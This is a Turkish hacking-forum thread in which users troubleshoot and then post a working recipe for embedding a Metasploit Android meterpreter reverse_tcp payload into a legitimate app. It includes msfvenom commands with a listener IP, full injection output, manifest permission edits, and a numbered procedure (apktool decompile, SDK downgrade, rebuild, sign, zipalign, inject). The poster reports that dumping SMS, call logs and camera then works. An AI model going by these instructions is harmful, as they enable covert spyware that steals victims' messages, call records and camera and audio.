APKTOOL v2.6.1 (en son sürüm), meterpreter'ı ve sinirimi bozuyor.

ReadyMajeh

Üye
25 Haz 2016
151
1
0
Erzurum
Arkadaşlar merhabalar, en son konu açtığımda çok uzun süre olmuştu. Bugün biraz can sıkıcı bir durumla karşı karşıyayım. Kali Linux işletim sistemine sahibim; şekildeki işlemleri uyguladığım zaman istediğim sonucu elde edemiyorum;
$ sudo msfvenom -x orijinal.apk -p android/meterpreter/reverse_tcp lhost=localhost lport=4444 -o cikti.apk
Bu işlemden sonra orijinal dosya ile virüslü cikti dosyasını APKTOOL dediğimiz alet geri derleyip ardından derliyor. Benim şüphem APKTOOL'un payload'ı bozduğu yönünde, peki bozuyordan kastım ne?
Ardından msfconsole'dan dinlemeye alıyorum;
$ exploit
Bağlantı düşüyor, buraya kadar sıkıntı yok, meterpreter ile cihazın içine de giriyorum dump_sms ile sms'leri çekemiyorum. dump_calllog ile arama kayıtlarını çekmeme izin vermiyor. Kamerayı açmıyor, ne yayın için ne de fotoğraf çekmek için. Ancak bir uygulamaya APKTOOL aracılığı ile payload enjekte ettiğim zaman mükemmel screenshot alıp screenstream yapıyor. Eğer basmazsam, MainActivity olarak boş bir uygulama virüsü çıkıyor bilirsiniz, ancak bu sefer de screenshot'dan yararlanamıyorum çünkü ortada uygulama yok.

Rica ediyorum APKTOOL için gerekli konfigürasyonları söyler misiniz, şüphem payload'ı onun bozduğu yönünde.
 
Çözüm
SORUN ÇÖZÜLDÜ
  1. Virüsü gömeceğiniz uygulamaya şu işlemleri uyguluyorsunuz:
  1. sudo apktool d orijinal.apk
    1. Çıkan klasörde orijinal uygulamanın AndroidManifest.xml dosyasının içerisindeki android:compileSdkVersion değerini ="23" yapıyorsunuz.
    2. Yine aynı klasör içerisindeki apktool.yml dosyasındaki targetSdkVersion: değerini :'17' yapıyorsunuz.
  2. sudo apktool b orijinal : Bu komut konfigüre ettiğimiz klasördeki dosyalarla beraber tekrardan .apk formatında bir building işlemi gerçekleştirecek. APK dosyası 1.1'de çıkan klasör'ün içerisinde /dist/ diye bir klasör oluşturulduktan sonra onun...

ByZehirx

Yaşayan Forum Efsanesi
10 Şub 2012
12,390
7
2,005
Dinlenmede.
bekle.

APk elindeyse bu izinleri vermen gerek Manifesto dosyasının içine koyman gerek

Java:
 </intent-filter>
        </activity>

        <receiver android:name=".SmsReceiver"
                  android:enabled="true"
                  android:exported="true"
                  android:permission="android.permission.BROADCAST_SMS">
            <intent-filter android:priority="1000">
 

ByZehirx

Yaşayan Forum Efsanesi
10 Şub 2012
12,390
7
2,005
Dinlenmede.
Keyfim yok olsaydı APk bana gönderirdin ben hallederdim de ancak bu kadar ama izinlerini kontrol etmen gerek yada Manifestonu aç içerisini at buraya bakalım bi ara
 

ReadyMajeh

Üye
25 Haz 2016
151
1
0
Erzurum
Keyfim yok olsaydı APk bana gönderirdin ben hallederdim de ancak bu kadar ama izinlerini kontrol etmen gerek yada Manifestonu aç içerisini at buraya bakalım bi ara
Anladığım kadarıyla söylediğiniz şey şu,
1- Önce apktool ile uygulamayı ayrıştır; bunu yaptım az önce.
2 - İçerisindeki AndroidManifest.xml dosyasındaki eksiklikleri gördüm evet, onlara bütün izinleri ekle.
3 - APKTOOL ile apk dosyasını build et.
4 - msfvenom'da o şekilde yeni APK'yı virüs yap.
Doğru mu anladım?
 

ByZehirx

Yaşayan Forum Efsanesi
10 Şub 2012
12,390
7
2,005
Dinlenmede.
Anladığım kadarıyla söylediğiniz şey şu,
1- Önce apktool ile uygulamayı ayrıştır; bunu yaptım az önce.
2 - İçerisindeki AndroidManifest.xml dosyasındaki eksiklikleri gördüm evet, onlara bütün izinleri ekle.
3 - APKTOOL ile apk dosyasını build et.
4 - msfvenom'da o şekilde yeni APK'yı virüs yap.
Doğru mu anladım?


Virüs yapmak için demedim zaten virüs dosyasi Manifesto ile yapilmaz. Ben sms cekemiyorum kismi için yazdim. Yoksa çok kullandigim veya bilgi paylastigim bir konu değil sadece oraya bakman gerek diye yazdim.
Beni bilirsiniz yöntemlerim herkese açık ve net olur.
 

ReadyMajeh

Üye
25 Haz 2016
151
1
0
Erzurum
└─$ msfvenom -x Chess.apk -p android/meterpreter/reverse_tcp LHOST=192.168.43.183 LPORT=4444 > test.apk
Using APK template: Chess.apk
[-] No platform was selected, choosing Msf::Module::platform::Android from the payload
[-] No arch selected, selecting arch: dalvik from the payload
[*] Creating signing key and keystore..
[*] Decompiling original APK..
[*] Decompiling payload APK..
[*] Locating hook point..
[*] Adding payload as package com.jetstartgames.chess.usynz
[*] Loading /tmp/d20220805-38264-mqw7b0/original/smali/com/jetstartgames/chess/MenuActivity.smali and injecting payload..
[*] Poisoning the manifest with meterpreter permissions..
[*] Adding <uses-permission android:name="android.permission.WRITE_CONTACTS"/>
[*] Adding <uses-permission android:name="android.permission.WRITE_CALL_LOG"/>
[*] Adding <uses-permission android:name="android.permission.ACCESS_FINE_LOCATION"/>
[*] Adding <uses-permission android:name="android.permission.RECEIVE_SMS"/>
[*] Adding <uses-permission android:name="android.permission.WRITE_SETTINGS"/>
[*] Adding <uses-permission android:name="android.permission.CALL_PHONE"/>
[*] Adding <uses-permission android:name="android.permission.ACCESS_COARSE_LOCATION"/>
[*] Adding <uses-permission android:name="android.permission.SEND_SMS"/>
[*] Adding <uses-permission android:name="android.permission.READ_SMS"/>
[*] Adding <uses-permission android:name="android.permission.CAMERA"/>
[*] Adding <uses-permission android:name="android.permission.RECORD_AUDIO"/>
[*] Adding <uses-permission android:name="android.permission.ACCESS_WIFI_STATE"/>
[*] Adding <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE"/>
[*] Adding <uses-permission android:name="android.permission.READ_CONTACTS"/>
[*] Adding <uses-permission android:name="android.permission.CHANGE_WIFI_STATE"/>
[*] Adding <uses-permission android:name="android.permission.SET_WALLPAPER"/>
[*] Adding <uses-permission android:name="android.permission.REQUEST_IGNORE_BATTERY_OPTIMIZATIONS"/>
[*] Adding <uses-permission android:name="android.permission.READ_PHONE_STATE"/>
[*] Adding <uses-permission android:name="android.permission.READ_CALL_LOG"/>
[*] Rebuilding apk with meterpreter injection as /tmp/d20220805-38264-mqw7b0/output.apk
[*] Aligning /tmp/d20220805-38264-mqw7b0/output.apk
[*] Signing /tmp/d20220805-38264-mqw7b0/aligned.apk with apksigner
Payload size: 2597412 bytes

Peki bu izinlerin neresi yetersiz ki ?
 

ReadyMajeh

Üye
25 Haz 2016
151
1
0
Erzurum
SORUN ÇÖZÜLDÜ
  1. Virüsü gömeceğiniz uygulamaya şu işlemleri uyguluyorsunuz:
  1. sudo apktool d orijinal.apk
    1. Çıkan klasörde orijinal uygulamanın AndroidManifest.xml dosyasının içerisindeki android:compileSdkVersion değerini ="23" yapıyorsunuz.
    2. Yine aynı klasör içerisindeki apktool.yml dosyasındaki targetSdkVersion: değerini :'17' yapıyorsunuz.
  2. sudo apktool b orijinal : Bu komut konfigüre ettiğimiz klasördeki dosyalarla beraber tekrardan .apk formatında bir building işlemi gerçekleştirecek. APK dosyası 1.1'de çıkan klasör'ün içerisinde /dist/ diye bir klasör oluşturulduktan sonra onun içerisine inşaa edilecek.
  3. sudo keytool -genkey -v -keystore ANAHTARISMIN.keystore -alias SENİNALIASADIN -keyalg RSA -keysize 2048 -validity 10000 yazarak APK dosyası için bir key oluşturuyoruz.
  4. sudo jarsigner -verbose -sigalg SHA1withRSA -digestalg SHA1 -keystore ANAHTARISMIN.keystore UYGULAMAN.apk SENİNALIASADIN diyerek tekrardan align yani tanımlama işlemini gerçekleştiriyoruz.
  5. sudo jarsigner -verify -verbose -certs UYGULAMAN.apk
  6. sudo zipalign -v 4 UYGULAMAN.apk UYGULAMAN-ALIGN.apk
  7. sudo msfvenom -x UYGULAMAN-ALIGN.apk -p android/meterpreter/reverse_tcp LHOST=IP LPORT=4444(varsayılan) -o virus.apk
Çıkmış olan virus.apk dosyası virüs. Bu şekilde msfconsole'dan dinlemeye alıp, dump, watch, record komutlarını denerseniz çalıştığını göreceksiniz. Umarım işe yarar. İyi forumlar.

[EDİT]
1.2. Maddede verilen parametreler ile apktool b işlemi bazen gerçekleşmeyebilir. Bu durumda Manifest dosyasında android:compileSdkVersion ve .yml dosyasında targetSdkVersion ile beraber minSdkVersion'da olursa bu parametrenin de değiştirilmesi gerekebilir! Olması gereken veriler aşağıdaki gibidir:​
android {​
compileSdkVersion 23
buildToolsVersion “23.0.1”
defaultConfig {
applicationId “com.example.checkyourtargetsdk"
minSdkVersion 7
targetSdkVersion 23

versionCode 1
versionName “1.0”
}
}​
 
Son düzenleme:
Çözüm
Üst

Turkhackteam.org internet sitesi 5651 sayılı kanun’un 2. maddesinin 1. fıkrasının m) bendi ile aynı kanunun 5. maddesi kapsamında "Yer Sağlayıcı" konumundadır. İçerikler ön onay olmaksızın tamamen kullanıcılar tarafından oluşturulmaktadır. Turkhackteam.org; Yer sağlayıcı olarak, kullanıcılar tarafından oluşturulan içeriği ya da hukuka aykırı paylaşımı kontrol etmekle ya da araştırmakla yükümlü değildir. Türkhackteam saldırı timleri Türk sitelerine hiçbir zararlı faaliyette bulunmaz. Türkhackteam üyelerinin yaptığı bireysel hack faaliyetlerinden Türkhackteam sorumlu değildir. Sitelerinize Türkhackteam ismi kullanılarak hack faaliyetinde bulunulursa, site-sunucu erişim loglarından bu faaliyeti gerçekleştiren ip adresini tespit edip diğer kanıtlarla birlikte savcılığa suç duyurusunda bulununuz.